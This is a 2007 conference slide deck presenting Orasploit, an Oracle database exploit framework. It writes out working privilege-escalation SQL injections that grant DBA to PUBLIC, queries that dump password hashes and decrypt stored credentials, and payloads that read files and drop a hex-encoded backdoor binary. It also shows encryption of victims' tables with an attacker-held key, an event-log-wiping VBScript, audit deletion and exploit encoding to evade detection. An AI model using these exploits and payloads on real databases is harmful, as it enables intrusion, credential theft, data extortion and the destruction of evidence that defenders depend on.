Orasploit - The Oracle Exploit Framework
www.orasploit.com

SyScan 2007

Alexander Kornbrust
Red Database Security GmbH
Agenda

- Motivation
- Demo
- Connect
- Detect Protection
- Privilege Escalation
- Payloads
- Cleanup
- Privilege de-Escalation
- Conclusion
- Q/A
Motivation

- Orasploit is the Oracle Exploit Framework which allows the exploitation of weak and unprotected Oracle databases.
- Orasploit supports all database from 8 until 11g
- Focus of Orasploit are out-of-the-box installed databases as well as hardened databases using special Oracle Security features like logon trigger, auditing, DDL-Trigger, ...
- Orasploit contains a lot of PL/SQL Code, e.g FTP client, read files on OS via undocumented (often unmonitored) ways, ...
Orasploit vs. Metasploit

- Why a new framework? Why are the exploits not integrated in Metasploit?
- Because
  - Concept of Metasploit is different from Orasploit
  - Orasploit is designed for Oracle databases only
  - Orasploit is C/S based application and is using a the Oracle Instant Client to connect to the database
  - Most of the code is written in PL/SQL
Is Orasploit dangerous or evil?

- NO!
- Orasploit is not evil
- We do not deliver 0days (even if it is possible to add own 0days). That’s why a lot of nice things are missing.
- We combine (and enhance) only technologies which are already available into a nice and handy program. The only difference is the convenience
- Everything can be done manually but this framework saves time (done in seconds) and is less error prone.
- A patched AND hardened Oracle database is secure from Orasploit
Orasploit Features

- Various techniques to get Oracle SID (for Oracle 10g). Some techniques to access files or to send http requests are new and unseen so far. A typical comment from Oracle was “That’s a documentation bug!”

- Various PL/SQL Exploits

- Various Payloads (FTP client in PL/SQL, backdoors, rootkits, data extraction, password retrieval, intercept Oracle database passwords, D.o.S, ...)

- Defeat Oracle Security Features (Disable DDL Trigger, Disable VPD, Audititing, ...)

- IDS Evasion (Encryption, ASO, ...)

- Anti-Forensics

- Platform independent

- Support for all Oracle database
Overview Orasploit

- Orasploit is doing the following steps
  - Get Oracle SID
  - Get Username
  - Get Passwords
  - Connecting
  - Retrieve Information
  - Privilege Escalation
  - Retrieve additional Information
  - Run Payload(s)
  - Cleanup
Demonstration

- The following demo shows how to use Orasploit

C:\orasploit> **orasploit 142.123.12.122 1521**
orasploit 0.8 - (c) 2007 by Red-Database-Security GmbH

Getting SID
Oracle 9.2.0.8

Enumerate Users
(SYS, SYSTEM, DBSNMP, OUTLN, APP1, USER1)

Guessing Passwords
dbsnmp/dbsnmp
app1/app1

DB Summary
<succesful>

Privilege Escalation
<Installing Backdoor on Port 31337>

Running Payload
<Create User HACKER with DBA privs>

Cleanup
<removing entries from AUD$>

Cleanup
<closing listener.log>

09.09.2007
Demonstration

- After running Orasploit the system is backdoored on OS Level and in the database

C:\orasploit> nc 142.123.12.122 31337
C:\

C:\orasploit> sqlplus orasploit/sy2007@142.123.12.122/ERFZUNI12
SQL> select * from dba_users;
Orasploit configuration

- Orasploit will be configured using a configuration file

```
------------------Orasploit.cfg------------------
sid=ora101
User=dbsnmp
Password=dbsnmp
Install_prg=nc.exe
Start_prg=nc.exe
CreateUser=orasploit
UserPassword=orasploit
Clean_tnslog=Y
Clean_Auditlog=Y
```

------------------Orasploit.cfg------------------
Orasploit techniques

- The following slides show some of the techniques used by Orasploit
Get SID

- To connect to an Oracle database it is necessary to know the IP address, port (1521) and the SID or Service_name.
- To get the Oracle SID/Servicename there are different possibilities:
  - TNS status command (7-9i R2, 9.2.0.6 only if not password protected)
  - Dictionary attack (developed by RDS 12/2005)
  - Bruteforce attack (developed by RDS 12/2005)
  - Get SID via webapps (new concept 2007)
Get SID via Webpage

- Many Oracle web applications installed by the Oracle database are vulnerable against information disclosure.
- http://dbserver:5500/em/console show the SID of the database
User Enumeration

- User Enumeration is possible via
  - Connect attempts
    - Different Error Messages (ORA-28000)
    - Locking accounts
    - Predict usernames

If an account is locked we get the message ORA-28000. In this case we know that the component was installed. This technique can also be used to find out if accounts are locked after a specific amount of connect attempts.
Password Guessing

- Default passwords (password=username)
- Simple passwords (from a list)

- If we found a password we connect to the database, get the privileges and try the privilege escalation. Timing and speed is important because some software (e.g. Oracle Audit Vault) is reporting break in attempts every few seconds / minutes.

- Oracle Audit Vault is sending the audit information every few seconds to a central server.

- We must clean our traces before this is done.
Connecting

- Now we connect to the database...
Get Information

- Available users (select * from all_users)
- Privileges (select * from session_privss)
- Tables (select owner, table_name from all_tables)

Now we try to get as much information as possible according to our privileges (without privilege escalation)
Privilege Escalation

- Different possibilities to do privilege Escalation
  - DB18 - CPUJan2006
  - Various SQL Injection for all versions and patchsets with and with dbms_sql
- Extendable concept
  - add your own exploits for different databases
  - Just add the PL/SQL-Exploit to the %component%.sql (e.g. ctxsys.sql) or the Non-PL/SQL-Exploit to %component%.cmd
  - Orasploit reads and executes the exploit (with IDS evasion, encryption, ...)

09.09.2007
Retrieve Information (Passwords)

- Orasplot retrieves (for a security consultant) useful information
  - Get Cleartext Passwords (10g only)

```
select sysman.decrypt(ARU_USERNAME),
       sysman.decrypt(ARU_PASSWORD) from
SYSMAN.MGMT_ARU_CREDENTIALS;

select VIEW_USERNAME, sysman.decrypt(VIEW_PASSWORD)
from SYSMAN.MGMT_VIEW_USER_CREDENTIALS;

select credential_set_column,
       sysman.decrypt(credential_value) from
SYSMAN.MGMT_CREDENTIALS2;

Select * from SYS.LINK$
```
Retrieve Information (Passwords Hashes)

Get Hashes Passwords from tables

```sql
select username, password from dba_users; -- DES

select user_name,web_password_raw from flows_020000.wwv_flow_fnd_user; -- MD5

select user_name,web_password_raw from flows_020100.wwv_flow_fnd_user; -- MD5

select user_name,web_password_raw from flows_020200.wwv_flow_fnd_user; -- MD5

select user_name,web_password_raw from flows_030000.wwv_flow_fnd_user; -- MD5
```
Retrieve Information (Passwords Hashes)

Get Hashes Passwords from memory

```sql
select sql_text from v$sql where lower(sql_text) like '%.set_authentication%';
```

```sql
select sql_text from v$sql where lower(sql_text) like '%.request_pieces%';
```

```sql
select sql_text from v$sql where lower(sql_text) like '%identified by%';
```
Retrieves Information (Encrypted Data)

- Only important data is encrypted. Using the following view we can get a list of all encrypted data

SQL> select table_name, column_name, encryption_alg, salt from dba_encrypted_columns;

<table>
<thead>
<tr>
<th>TABLE_NAME</th>
<th>COLUMN_NAME</th>
<th>ENCRYPTION_ALG</th>
<th>SAL</th>
</tr>
</thead>
<tbody>
<tr>
<td>CREDITCARD</td>
<td>CCNR</td>
<td>AES256</td>
<td>NO</td>
</tr>
<tr>
<td>CREDITCARD</td>
<td>CVE</td>
<td>AES256</td>
<td>NO</td>
</tr>
<tr>
<td>CREDITCARD</td>
<td>VALID</td>
<td>AES256</td>
<td>NO</td>
</tr>
</tbody>
</table>
Retrieve Information

- Other useful information contains
  - All tables/columns names containing the string “creditcard”
  - All tables/columns names containing the string “passw” or “pwd”
  - ...

09.09.2007
Payloads

- Orasploit supports multiple predefined payloads
  - Upload files to the database server (ftp, http, utl_file, ...)
  - Download files from the database server (ftp, dbms_file_transfer, ...)
  - Run Binaries (Extproc, Java, Context, plsql_native)
  - Monitor / Backdoor password changes
  - Portscan from the database
  - Send table data via http (utl_http, HTTPUriType)
  - Send table data via DNS (utl_http, utl_inaddr, HTTPUriType)
  - Install Rootkits
  - Install Backdoor (binaries, PL/SQL)
  - Install database job (dbms_job, dbms_scheduler)
  - Export database (exp, datapump)
Payloads - Read Files - New

No utl_file_dir, directories or Java needed. Just the role CTXAPP

```sql
CREATE TABLE files (  
id NUMBER PRIMARY KEY,  
path VARCHAR(255) UNIQUE,  
ot_format VARCHAR(6)  
);  

INSERT INTO files VALUES (1, 'c:\boot.ini', NULL);  

-- read the file  
CREATE INDEX file_index ON files(path) INDEXTYPE IS  
ctxsys.context  
PARAMETERS ('datastore ctxsys.file_datastore format column  
ot_format');  

-- retrieve data from the file  
Select token_text from dr$i_file_location$i;  
```
PAYLOADS - READ FILES - JAVA

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADFILE" AS
import java.lang. *
import java.io. *

public class JAVAREADFILE
{
public static void readFile(String filename) throws IOException
{
    FileReader f = new FileReader(filename);
    BufferedReader fr = new BufferedReader(f);
    String text = fr.readLine();
    while(text != null)
    {
        System.out.println(text);
        text = fr.readLine();
    }
    fr.close();
}

CREATE OR REPLACE PROCEDURE JAVAREADFILEPROC (p_filename IN VARCHAR2) AS LANGUAGE JAVA
NAME 'JAVAREADFILE.readFile (java.lang.String)';
/
Set serveroutput on size 100000
exec dbms_java.set_output(2000);
exec JAVAREADFILEPROC('C:\boot.ini')
New way to create (text) files on the database server (10g+)

DECLARE
    BUFFER clob;
    LOCATION VARCHAR2(200);
    FILENAME VARCHAR2(700);
BEGIN
    BUFFER:='orasploit was here';
    LOCATION := 'MYDIR';
    FILENAME := 'orasploit_was_here.txt';
    SYS.DBMS_ADVISOR.CREATE_FILE ( BUFFER, LOCATION, FILENAME );
    COMMIT;
END;
/

09.09.2007
Create binary files on the database server

```sql
DECLARE fi UTL_FILE.FILE_TYPE;
bu RAW(32767);
BEGIN
  bu:=hextoraw('BF3B01BB8100021E8000B88200882780FB81750288D850E8060083C402CD20C35589E5B80100508D451A50B80F00508D5D00FFD383C40689EC5DC3558BEC8B5E08B4E048B5606B80040CD21730231C08BE55DC39048656C6C6F2C20576F726C64210D0A');
  fi:=UTL_FILE.fopen('EXT','nc.exe','w',32767);
  UTL_FILE.put_raw(fi,bu,TRUE);
  UTL_FILE.fclose(fi);
END;
/
Encrypt sensitive tables. Oracle 10g Rel. 2 supports a new feature called Transparent Data Encryption (TDE). This feature allows to encrypt tables in the database without changing the application.

During every start of the database the password must be entered. If the password is not known to the DBA, the data is lost (if there is no backup).

Orasploit encrypts usertables with a password only known to the user of Orasploit.
ALTER SYSTEM SET ENCRYPTION KEY identified by "orasploit_wallet_password"

For all tables in the application schema do

    ALTER TABLE table1 MODIFY (salary encrypt using 'AES256' no salt);

Od.
Cleanup

- Remove entries from the audit table (AUD$
- Remove entries from the event log
- Remove entries from ADUMP
- Remove entries from listener.log
- Remove files from the file system
- Remove objects from the database
Cleanup Microsoft Event Log

- The following VBScript code will be written to the file system and executed ("cscript clean.vbs") via Java or external procedures. Clean.vbs is deleted afterwards.

```vbnet
Option Explicit
On Error Resume Next
Dim LogType, EventLog, Entry

Set EventLog = GetObject("winmgmts:\{impersonationLevel=impersonate\}!ExecQuery_
("select * from Win32_NTEventLogFile where LogfileName='Application'")

For each Entry in EventLog
    Entry.ClearEventlog()
Next
WScript.Quit
```

09.09.2007
Remove files from the filesystem

- The following PL/SQL code removes files via utl_file.

```sql
--------- PL/SQL code -------------------
utl_file.fremove('C:\temp', 'clean.vbs');
--------- PL/SQL code -------------------
```
Remove objects from the database

- The following PL/SQL code removes all objects from the database. After running orasploit there are no traces left in the database (if installing a backdoor was not chosen)

------------ PL/SQL code ---------------

Drop directory Orasploit;
...

------------ PL/SQL code ---------------
IDS Evasion

- Orasplolt contains several IDS evasion technologies
  - Encoding of Exploits
  - Network traffic encryption via ASO
IDS Evasion - Enable ASO

- By changing a simple setting in the sqlnet.ora on the client side (where orasploit is located) it is possible to enable ASO (Advanced Security Option). To avoid a license violation it is necessary to have an ASO license before using this feature.

- The following code in the sqlnet.ora encrypts the entire network traffic.

```sqlnet.ora (client) ---

SQLNET.ENCRYPTION_CLIENT=required
SQLNET.CRYPTO_SEED=klqSeyiSoc3a9n32s0j0k7

--- sqlnet.ora (client) ---
```
IDS Evasion - Encoding of Exploits

- All Exploits are encoded (in the beginning with cesar chiffre) to avoid detection in the database. Keys are generated randomly.

- The following is a sample code of encrypting exploits.

    ---- exploit encoding ----

    execute immediate translate('grSnt dbS to pYblic','SY','au')

    ---- exploit encoding ----
Anti-Forensics

- Orasploit contains some Anti-Forensics techniques. By creating special objects it is possible to crash Oracle tools like export, logminer, ...
  - Invalid objects to confuse logminer
  - Techniques against listener.log analysis via external tables
  - Invalid objects to confuse export
Structure Orasploit

- C:\orasploit -- main directory
  - \exploit -- contains exploits in textfiles
  - \backdoor -- contains backdoors in hex format
  - \dos -- contains code for D.o.S.
  - \rootkit -- contains code for the rootkits
  - \report -- contains a report what was done
  - \data -- contains exported data, files, ... from the database
Structure Orasploit - Exploits

- C:\orasploit\exploits
  - generic.sql
  - generic.cmd
  - sys.sql
  - sys.cmd
  - wksys.sql
  - wksys.cmd
  - mdsys.cmd
  - mdsys.sql
  - ctxsys.sql
  - ctxsys.cmd
  - ...

09.09.2007
Structure Orasploit - Exploits

- Depending of the database version Orasploit prefers the most probable exploit to create less noise/activity.

- Every Oracle schema has two separate files containing exploits for this schema.

- The exploits are available in simple PL/SQL format (<<schema>>.sql) or as a simple batchfile (<<sample>>.cmd).

- This PL/SQL code could be modified and enhanced. By default the PL/SQL code is encrypted to evade IDS.

- Orasploit calls these files if the schema is available in the Oracle database.
Structure Orasploit - exploits

- C:\orasplot\exploit\ctxsys.sql

-- the IDS evasion will be done automatically

exec ctxsys.driload.validate_stmt('grant dba to public');

set role dba;

revoke dba from public;

-- To remove traces we directly revoke the role DBA from public. Our session still has DBA privileges but this is not visible from the database.
Structure Orasploit - some exploits

- C:\orasploit\exploit\sys.sql

    DECLARE
    MYC NUMBER;
    BEGIN
    MYC := DBMS_SQL.OPEN_CURSOR;
    DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction;
    begin execute immediate ''grant dba to public''; commit;end;'',0);
    sys.KUPM$MCP.MAIN('x','' and l=dbg_sql.execute (''||myc||'')--');
    END;

    /

    set role dba;

    revoke dba from public;
Structure Orasploit - some exploits

- C:\orasploit\exploit\sys.sql

CREATE OR REPLACE FUNCTION F return number
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
COMMIT;
RETURN 1;
END;
/
exec sys.kupw$WORKER.main('x','YY' and 1=<USER>.f -- r6');
set role dba;
revoke dba from public;
drop function f;
Structure Orasploit - Rootkits

- C:\orasploit\rootkit\rootkit.sql

<<insert_your_rootkit-code>> in PL/SQL
C:\orasploit\backdoor\backdoor.sql

Grant dba to orasploit identified by orasploit;
Structure Orasploit - Backdoors I

- C:\orasploit\backdoor\backdoor.sql

Create or replace directory orasploit AS 'C:\';
grant read on directory orasploit to public;
grant write on directory orasploit to public;

DECLARE fi UTL_FILE.FILE_TYPE;
bu RAW(32767);
BEGIN

bu:=hextoraw('BF3B01BB8100021E8000B8820082780FB81750288D850E8060083C402CD20C35589E5B80100508D451A50B80F00508D5D00FFD383C40689EC5DC3558BEC8B5E088B4E048B5606B80040CD21730231C08BE55DC39048656C6C6F2C20576F726C64210D0A');

fi:=UTL_FILE.fopen('ORASPLOIT','bd.com','w',32767);
UTL_FILE.put_raw(fi, bu, TRUE);
UTL_FILE.fclose(fi);

END;
/
DROP DIRECTORY ORASPLOIT;
Structure Orasploit - Denial of Service

- C:\orasploit\dos\dos.sql

<<insert your D.o.S. code here>>

Various D.o.S. code will be executed against the database. We do not provide D.o.S. but Oracle Metalink (= Oracle’s knowledge base) contains a lot of samples.
Defeat Oracle Security Features

The following slides describe how to defeat Oracle Security features.

- Disable Logon/Logoff Triggers
- Disable DDL Triggers
- Disable SQL Tracing
- Disable Virtual Private Database (VPD)
- Disable Fine Grain Auditing (FGA)
- Bypass Database Auditing (unfixed bug)
Availability

- Orasploit will be available soon.
- A limited version of orasploit will be available as freeware.
- We started beta test already by due to legal complications (law changed in Germany) we are behind schedule.
Conclusion

- Orasploit is a powerful and easy to use exploit framework for the main Oracle platforms.
- Orasploit will be available for Windows, Linux, MacOS
- Due to legal restrictions Orasploit will not be available in Germany (new law makes all hackertools (even nmap) illegal)
- Deep Oracle knowledge is not needed for running this tool
- Orasploit is highly configurable and extendable
we are here:

09.09.2007

Q & A
Contact

Alexander Kornbrust
CEO

Red-Database-Security GmbH
Bliesstrasse 16
D-66538 Neunkirchen
Germany

Phone: +49 (6821) 95 17 637
Mobil: +49 (174) 98 78 118
Fax: +49 (6821) 91 27 354

E-Mail: info@red-database-security.com
Web: www.red-database-security.com